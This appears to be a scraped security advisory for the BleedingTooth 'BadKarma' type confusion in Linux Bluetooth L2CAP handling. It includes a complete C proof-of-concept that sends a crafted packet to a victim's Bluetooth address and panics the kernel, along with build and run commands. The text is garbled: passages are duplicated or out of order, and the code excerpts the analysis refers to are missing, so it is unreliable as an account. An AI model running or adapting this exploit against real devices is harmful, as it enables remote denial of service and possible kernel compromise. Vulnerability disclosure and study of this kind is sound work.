A heap-based type confusion affecting Linux kernel 4.8 and higher was discovered in net/bluetooth/l2cap_core.c
.
A remote attacker in short distance knowing the victim's bd address can send a malicious l2cap packet and cause denial of service or possibly arbitrary code execution with kernel privileges. Malicious Bluetooth chips can trigger the vulnerability as well.
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/l2cap.h>
#include <bluetooth/hci.h>
#include <bluetooth/hci_lib.h>
#define AMP_MGR_CID 0x03
static uint16_t crc16_tab[256] = {
0x0000, 0xc0c1, 0xc181, 0x0140, 0xc301, 0x03c0, 0x0280, 0xc241,
0xc601, 0x06c0, 0x0780, 0xc741, 0x0500, 0xc5c1, 0xc481, 0x0440,
0xcc01, 0x0cc0, 0x0d80, 0xcd41, 0x0f00, 0xcfc1, 0xce81, 0x0e40,
0x0a00, 0xcac1, 0xcb81, 0x0b40, 0xc901, 0x09c0, 0x0880, 0xc841,
0xd801, 0x18c0, 0x1980, 0xd941, 0x1b00, 0xdbc1, 0xda81, 0x1a40,
0x1e00, 0xdec1, 0xdf81, 0x1f40, 0xdd01, 0x1dc0, 0x1c80, 0xdc41,
0x1400, 0xd4c1, 0xd581, 0x1540, 0xd701, 0x17c0, 0x1680, 0xd641,
0xd201, 0x12c0, 0x1380, 0xd341, 0x1100, 0xd1c1, 0xd081, 0x1040,
0xf001, 0x30c0, 0x3180, 0xf141, 0x3300, 0xf3c1, 0xf281, 0x3240,
0x3600, 0xf6c1, 0xf781, 0x3740, 0xf501, 0x35c0, 0x3480, 0xf441,
0x3c00, 0xfcc1, 0xfd81, 0x3d40, 0xff01, 0x3fc0, 0x3e80, 0xfe41,
0xfa01, 0x3ac0, 0x3b80, 0xfb41, 0x3900, 0xf9c1, 0xf881, 0x3840,
0x2800, 0xe8c1, 0xe981, 0x2940, 0xeb01, 0x2bc0, 0x2a80, 0xea41,
0xee01, 0x2ec0, 0x2f80, 0xef41, 0x2d00, 0xedc1, 0xec81, 0x2c40,
0xe401, 0x24c0, 0x2580, 0xe541, 0x2700, 0xe7c1, 0xe681, 0x2640,
0x2200, 0xe2c1, 0xe381, 0x2340, 0xe101, 0x21c0, 0x2080, 0xe041,
0xa001, 0x60c0, 0x6180, 0xa141, 0x6300, 0xa3c1, 0xa281, 0x6240,
0x6600, 0xa6c1, 0xa781, 0x6740, 0xa501, 0x65c0, 0x6480, 0xa441,
0x6c00, 0xacc1, 0xad81, 0x6d40, 0xaf01, 0x6fc0, 0x6e80, 0xae41,
0xaa01, 0x6ac0, 0x6b80, 0xab41, 0x6900, 0xa9c1, 0xa881, 0x6840,
0x7800, 0xb8c1, 0xb981, 0x7940, 0xbb01, 0x7bc0, 0x7a80, 0xba41,
0xbe01, 0x7ec0, 0x7f80, 0xbf41, 0x7d00, 0xbdc1, 0xbc81, 0x7c40,
0xb401, 0x74c0, 0x7580, 0xb541, 0x7700, 0xb7c1, 0xb681, 0x7640,
0x7200, 0xb2c1, 0xb381, 0x7340, 0xb101, 0x71c0, 0x7080, 0xb041,
0x5000, 0x90c1, 0x9181, 0x5140, 0x9301, 0x53c0, 0x5280, 0x9241,
0x9601, 0x56c0, 0x5780, 0x9741, 0x5500, 0x95c1, 0x9481, 0x5440,
0x9c01, 0x5cc0, 0x5d80, 0x9d41, 0x5f00, 0x9fc1, 0x9e81, 0x5e40,
0x5a00, 0x9ac1, 0x9b81, 0x5b40, 0x9901, 0x59c0, 0x5880, 0x9841,
0x8801, 0x48c0, 0x4980, 0x8941, 0x4b00, 0x8bc1, 0x8a81, 0x4a40,
0x4e00, 0x8ec1, 0x8f81, 0x4f40, 0x8d01, 0x4dc0, 0x4c80, 0x8c41,
0x4400, 0x84c1, 0x8581, 0x4540, 0x8701, 0x47c0, 0x4680, 0x8641,
0x8201, 0x42c0, 0x4380, 0x8341, 0x4100, 0x81c1, 0x8081, 0x4040
};
uint16_t crc16(uint16_t crc, const void *buf, size_t size) {
const uint8_t *p;
p = buf;
while (size--)
crc = crc16_tab[(crc ^ (*p++)) & 0xFF] ^ (crc >> 8);
return crc;
}
int hci_send_acl_data(int hci_socket, uint16_t hci_handle, void *data, uint16_t data_length) {
uint8_t type = HCI_ACLDATA_PKT;
uint16_t BCflag = 0x0000;
uint16_t PBflag = 0x0002;
uint16_t flags = ((BCflag << 2) | PBflag) & 0x000F;
hci_acl_hdr hdr;
hdr.handle = htobs(acl_handle_pack(hci_handle, flags));
hdr.dlen = data_length;
struct iovec iv[3];
iv[0].iov_base = &type;
iv[0].iov_len = 1;
iv[1].iov_base = &hdr;
iv[1].iov_len = HCI_ACL_HDR_SIZE;
iv[2].iov_base = data;
iv[2].iov_len = data_length;
return writev(hci_socket, iv, sizeof(iv) / sizeof(struct iovec));
}
int main(int argc, char **argv) {
if (argc != 2) {
printf("Usage: %s MAC_ADDR\n", argv[0]);
return 1;
}
bdaddr_t dst_addr;
str2ba(argv[1], &dst_addr);
printf("[*] Resetting hci0 device...\n");
system("sudo hciconfig hci0 down");
system("sudo hciconfig hci0 up");
printf("[*] Opening hci device...\n");
struct hci_dev_info di;
int hci_device_id = hci_get_route(NULL);
int hci_socket = hci_open_dev(hci_device_id);
if (hci_devinfo(hci_device_id, &di) < 0) {
perror("hci_devinfo");
return 1;
}
struct hci_filter flt;
hci_filter_clear(&flt);
hci_filter_all_ptypes(&flt);
hci_filter_all_events(&flt);
if (setsockopt(hci_socket, SOL_HCI, HCI_FILTER, &flt, sizeof(flt)) < 0) {
perror("setsockopt(HCI_FILTER)");
return 1;
}
int opt = 1;
if (setsockopt(hci_socket, SOL_HCI, HCI_DATA_DIR, &opt, sizeof(opt)) < 0) {
perror("setsockopt(HCI_DATA_DIR)");
return 1;
}
printf("[*] Connecting to victim...\n");
struct sockaddr_l2 laddr = {0};
laddr.l2_family = AF_BLUETOOTH;
laddr.l2_bdaddr = di.bdaddr;
struct sockaddr_l2 raddr = {0};
raddr.l2_family = AF_BLUETOOTH;
raddr.l2_bdaddr = dst_addr;
int l2_sock;
if ((l2_sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0) {
perror("socket");
return 1;
}
if (bind(l2_sock, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
perror("bind");
return 1;
}
if (connect(l2_sock, (struct sockaddr *)&raddr, sizeof(raddr)) < 0) {
perror("connect");
return 1;
}
struct l2cap_conninfo l2_conninfo;
socklen_t l2_conninfolen = sizeof(l2_conninfo);
if (getsockopt(l2_sock, SOL_L2CAP, L2CAP_CONNINFO, &l2_conninfo, &l2_conninfolen) < 0) {
perror("getsockopt");
return 1;
}
uint16_t hci_handle = l2_conninfo.hci_handle;
printf("[+] HCI handle: %x\n", hci_handle);
printf("[*] Sending malicious L2CAP packet...\n");
struct {
l2cap_hdr hdr;
uint16_t ctrl;
uint16_t fcs;
} packet = {0};
packet.hdr.len = htobs(sizeof(packet) - L2CAP_HDR_SIZE);
packet.hdr.cid = htobs(AMP_MGR_CID);
packet.fcs = crc16(0, &packet, sizeof(packet) - 2);
hci_send_acl_data(hci_socket, hci_handle, &packet, sizeof(packet));
close(l2_sock);
hci_close_dev(hci_socket);
return 0;
}
then, the packet's checksum is verified and if it matches, it continues to doing sk_filter()
.
BadKarma: Heap-Based Type Confusion (BleedingTooth)
Summary
A heap-based type confusion affecting Linux kernel 4.8 and higher was discovered in
net/bluetooth/l2cap_core.c
.Severity
High
A remote attacker in short distance knowing the victim's bd address can send a malicious l2cap packet and cause denial of service or possibly arbitrary code execution with kernel privileges. Malicious Bluetooth chips can trigger the vulnerability as well.
Proof Of Concept
Compile the code below using
gcc -o poc poc.c -lbluetooth
and run assudo ./poc 11:22:33:44:55:66
.The following panic has been observed on Ubuntu 20.04 LTS:
poc.c
Analysis
The vulnerability was introduced in commit dbb50887c8f619fc5c3489783ebc3122bc134a31.
When specifying a CID different than
L2CAP_CID_SIGNALING
,L2CAP_CID_CONN_LESS
orL2CAP_CID_LE_SIGNALING
, the subroutinel2cap_data_channel()
is invoked. If the channel mode isL2CAP_MODE_ERTM
orL2CAP_MODE_STREAMING
, it callsl2cap_data_rcv()
.then, the packet's checksum is verified and if it matches, it continues to doing
sk_filter()
.Note that when using CID
L2CAP_CID_A2MP
and there is not yet a channel,a2mp_channel_create()
is invoked.where
a2mp_chan_open()
creates a channel and in particular initializes with modeL2CAP_MODE_ERTM
.From
amp_mgr_create()
we note that the fieldchan->data
is of typestruct amp_mgr
and froml2cap_data_rcv()
we see that it's callingsk_filter()
with that as argument.Now, the function is
therefore,
chan->data
should actually be of typestruct sock
.The design issue causing this confusion is due to
chan->data
being used for arbitrary data. Innet/bluetooth/l2cap_sock.c
for example,chan->data
is of typestruct sock
and that's what this commit only considered.